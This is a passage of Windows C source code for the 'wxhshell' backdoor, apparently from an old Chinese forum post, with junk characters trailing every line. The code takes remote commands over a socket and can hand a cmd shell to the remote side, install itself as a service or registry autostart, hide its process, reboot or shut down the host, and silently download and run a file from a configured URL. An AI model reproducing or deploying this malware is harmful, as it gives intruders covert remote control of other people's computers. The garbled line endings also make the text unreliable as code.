    switch(cmd[0]) { 7o99@K,  
  :l;SG=scx  
  // 帮助 w3<%wN>tE  
  case '?': { 0gIJ&h6*f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q>%{Dn\?  
    break; r;7&U<j~Z  
  } ]ChGi[B~9  
  // 安装 5#WyI#YNG  
  case 'i': { ~zd+M/8  
    if(Install()) 4#MPD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MsD@pa  
    else lTR/o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tCVaRP8eC+  
    break; 0etJ, _">  
    } e I^Q!b8n  
  // 卸载 aioN)V  
  case 'r': { %v"qFYVX"  
    if(Uninstall()) Dt ~3Qd0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rGqT[~{t  
    else -(;<Q_'s{"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; *ZiH%q,  
    break; n N_Ylw  
    } 9w:F_gr  
  // 显示 wxhshell 所在路径 ]lgI Q;r  
  case 'p': { QnZ7e#@UP  
    char svExeFile[MAX_PATH]; l&2pUv=  
    strcpy(svExeFile,"\n\r"); s?9$o Qq1  
      strcat(svExeFile,ExeFile); |<aF)S4  
        send(wsh,svExeFile,strlen(svExeFile),0); g'pB<?'E'  
    break; S9;:)  
    } 9aa cW  
  // 重启 6?(Z f  
  case 'b': { (+x!wX( x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (p1}i::Y8  
    if(Boot(REBOOT)) b\.l!vn0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vz\?a8qQ<  
    else { +\ZaVi  
    closesocket(wsh); P.t0o~hoK;  
    ExitThread(0); o-ee3j.  
    } D|gI3i  
    break; g,O3\jjQ  
    } Iq% 0fX  
  // 关机 I;5:jT`  
  case 'd': { C]f`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |'SgGg=E  
    if(Boot(SHUTDOWN)) hLo>jE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :9.QhY)D  
    else { uJ:SN;  
    closesocket(wsh); },& =r= B  
    ExitThread(0); B s{n  
    } Be4n\c.  
    break; p+y2w{{  
    } D&]dlY@*  
  // 获取shell fnJ!~b*qo  
  case 's': { YsBOh{Ml  
    CmdShell(wsh); WWtksi,  
    closesocket(wsh); ([Da*Tk*  
    ExitThread(0); h4,S /n  
    break; CY?19Ak-xd  
  } :&-j{8p-  
  // 退出 p(6!7t:  
  case 'x': { An2Wj  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MVYf-'\^  
    CloseIt(wsh); s6HfN'  
    break; (q+EP(Q  
    } M!Wjfq ^~  
  // 离开 ?c0@A*:o  
  case 'q': { e"u89acp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,b!]gsds  
    closesocket(wsh); D/<;9hw  
    WSACleanup(); 47 |&(,{  
    exit(1); eN Y?  
    break; W>2m %q U  
        } AfqthI$*m  
  } H]a@"gO  
  } =.9uuF:  
/)LI1\ o  
  // 提示信息 r)/nx@x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :dM eNM-  
} q s 0'}>  
  } w`a(285s)i  
ZL^ svGy  
  return; V.H<KyaJ  
} O<}KrmUC~  
[ KT1.5M[  
// shell模块句柄 -A3>+G3[  
int CmdShell(SOCKET sock) W:TF8Onw  
{ @`S8d%6P  
STARTUPINFO si; .`5BgX7W  
ZeroMemory(&si,sizeof(si)); 4.o[:5'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #CcWsI>+w>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :,*{,^2q:  
PROCESS_INFORMATION ProcessInfo; u ^Ss8}d  
char cmdline[]="cmd"; zZ})$Ny(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xx;4  
  return 0; !^*-]p/z  
} WY`hNT6M  
oH vVZ  
// 自身启动模式 $9In\ x  
int StartFromService(void) cpe/GvD5]  
{ %$3)xtS6  
typedef struct  `GQ'yv  
{ Qf<@ :T*  
  DWORD ExitStatus; r-]HmY x  
  DWORD PebBaseAddress; A3cW8 OClz  
  DWORD AffinityMask; ^cz;UQX~}  
  DWORD BasePriority; gsD0N^  
  ULONG UniqueProcessId;  aa10vV  
  ULONG InheritedFromUniqueProcessId; ^N2N>^'&1.  
}   PROCESS_BASIC_INFORMATION; }3xZ`vX[T  
%yJ $R2%*y  
PROCNTQSIP NtQueryInformationProcess; 8Ug`2xS<_  
+i1\],7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _=d X01  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0s+pcqOd^  
Zyx92z9Y  
  HANDLE             hProcess; _WeN\F~^  
  PROCESS_BASIC_INFORMATION pbi; cPL]WI0(  
hq[RU&\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cN] ]J  
  if(NULL == hInst ) return 0; *]]C.t-cd  
SeX:A)*ez%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?RI&7699+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tM&;b?bJ[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oyt#CHX  
wNt-mgir-Q  
  if (!NtQueryInformationProcess) return 0; CTOrBl$70  
U 2@Mxw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ocbNf'W;  
  if(!hProcess) return 0; kV$$GLD\  
$hGiI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @cT= t0*  
!/|^ )d^U  
  CloseHandle(hProcess); ujMics(  
UC{Tmf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); sM0o,l(5  
if(hProcess==NULL) return 0; oPVyLD  
D3i`ehh  
HMODULE hMod; \'AS@L"Wj^  
char procName[255]; Z/hk)GI  
unsigned long cbNeeded; R]8^ @i1  
$k= 5nJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SF#Rc>v  
I X]K "hT  
  CloseHandle(hProcess); +CF"Bm8@  
-'jPue2\  
if(strstr(procName,"services")) return 1; // 以服务启动 WI+ 5x  
2-#:Y  
  return 0; // 注册表启动 <Z6tRf;B  
} Pu-/*Fx  
Er]lObfQo  
// 主模块 `OP?[ f d  
int StartWxhshell(LPSTR lpCmdLine) ?*ni5\y5o  
{ 'dFhZ08 u}  
  SOCKET wsl; ^3:y<{J  
BOOL val=TRUE; 5f'<0D;K  
  int port=0; C1 YG=!  
  struct sockaddr_in door; xU5+"t~  
*[MK{m  
  if(wscfg.ws_autoins) Install(); c'8a)j$$+  
tEE1`10Mt  
port=atoi(lpCmdLine); Bt\z0*t=s  
i8Y$cac!  
if(port<=0) port=wscfg.ws_port; ^& R H]q  
Ad@Odx=o*R  
  WSADATA data; y?1<7>L5~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QxjX:O  
nR()ei^X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [=xJh?*P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qauZ-Qoc9  
  door.sin_family = AF_INET; QaMB=wVr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AHA4{Zu[  
  door.sin_port = htons(port); M zbs#v0  
D]UqM<0Rz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dU4G!  
closesocket(wsl); D" 4*&  
return 1; %^C.e*  
} V;V,G+0Re  
OSsxO(;g  
  if(listen(wsl,2) == INVALID_SOCKET) { aYyUe>  
closesocket(wsl); mGK-&|gq  
return 1; 5v uB87`  
} qXQ/M]  
  Wxhshell(wsl); I )LO@  
  WSACleanup(); +[sZE X  
@/ m|T]'8  
return 0; U =G^w L  
H"g$qSx  
} <e :2DB&  
KfVLb4@16_  
// 以NT服务方式启动 A,2dK}\>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {#c* *' 4  
{ UI,i2<&  
DWORD   status = 0; ZSu0e%  
  DWORD   specificError = 0xfffffff; xq2 ,S  
ca!=D $  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v\UwL-4[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?5oeyBA@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q.8)_w  
  serviceStatus.dwWin32ExitCode     = 0; dK=<%)N  
  serviceStatus.dwServiceSpecificExitCode = 0; # XD-a  
  serviceStatus.dwCheckPoint       = 0; d5x>kO'[l  
  serviceStatus.dwWaitHint       = 0; 'xC83}!k  
N2~q\BqA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /W6r{Et  
  if (hServiceStatusHandle==0) return; b(Ev:  
3/w) mY-o  
status = GetLastError(); > WsRCBA  
  if (status!=NO_ERROR) 8?S)>-mwv  
{ DjX*2O  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _H41qKS{Ul  
    serviceStatus.dwCheckPoint       = 0; <$\En[u0  
    serviceStatus.dwWaitHint       = 0; &!kr &g#]  
    serviceStatus.dwWin32ExitCode     = status; 0uf'6<fR  
    serviceStatus.dwServiceSpecificExitCode = specificError; *vss  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mu(EmAoenQ  
    return; 2eOde(K+  
  } u{o!j7  
&$vW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 73C  
  serviceStatus.dwCheckPoint       = 0; cN{-&\ 6L  
  serviceStatus.dwWaitHint       = 0; ![v@+9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); RtR5ij1  
} 3xJ_%AD\'  
~\ 9bh6%R  
// 处理NT服务事件,比如:启动、停止 S&C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l&z)Q/>?pZ  
{ 5Y4 i|R  
switch(fdwControl) r# }`{C;+5  
{ 9\|n2$H:  
case SERVICE_CONTROL_STOP: -F+dRzxH  
  serviceStatus.dwWin32ExitCode = 0; 2{!^"iW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4gTD HQP  
  serviceStatus.dwCheckPoint   = 0; }- Jw"|^W  
  serviceStatus.dwWaitHint     = 0; tsFwFB*  
  { mv1_vF:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QDRgVP  
  } `dYM+ jpa  
  return; -1Luyuy/`  
case SERVICE_CONTROL_PAUSE: 39W6"^q"o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6E!CxXUX  
  break; >?$+hZz<  
case SERVICE_CONTROL_CONTINUE: 0nF>E@j^[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mxYsP6&  
  break; 2[\I{<2/9  
case SERVICE_CONTROL_INTERROGATE: 7DU"QeLeb  
  break; 3zO'=gwJ  
}; 0aMw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / ;%[:x  
} '~^3 =[Z  
*j,5TO-j  
// 标准应用程序主函数 $Q[>v!!X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aqjS5!qh  
{ ~$0Qvyb>  
0YsC@r47wL  
// 获取操作系统版本 {-sy,EYcw  
OsIsNt=GetOsVer(); Q1G?e,Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); He4sP` &I  
uLw$`ihw  
  // 从命令行安装 n=vW oU9  
  if(strpbrk(lpCmdLine,"iI")) Install(); *{]9e\DF  
b@OL !?JP  
  // 下载执行文件 SnF3I  
if(wscfg.ws_downexe) { DR`d^aBWQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u3 mTsq!  
  WinExec(wscfg.ws_filenam,SW_HIDE); o9!DK  
} UGy~Ecv  
vG'JMzAm  
if(!OsIsNt) { g+ik`q(ge  
// 如果时win9x,隐藏进程并且设置为注册表启动 y[*Bw)F\N  
HideProc(); Fejs9'cB  
StartWxhshell(lpCmdLine); X*2M Nx^K~  
} silTL_$  
else xGQ958@  
  if(StartFromService()) eCY gi7?  
  // 以服务方式启动 ^X%{]b K  
  StartServiceCtrlDispatcher(DispatchTable); [~;#]az  
else )fz)Rrr  
  // 普通方式启动 SC~cryb  
  StartWxhshell(lpCmdLine); zMT0ToG  
1;p'2-x  
return 0;  0u4:=Z}W  
}
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只看该作者 1 发表于: 2006-10-10
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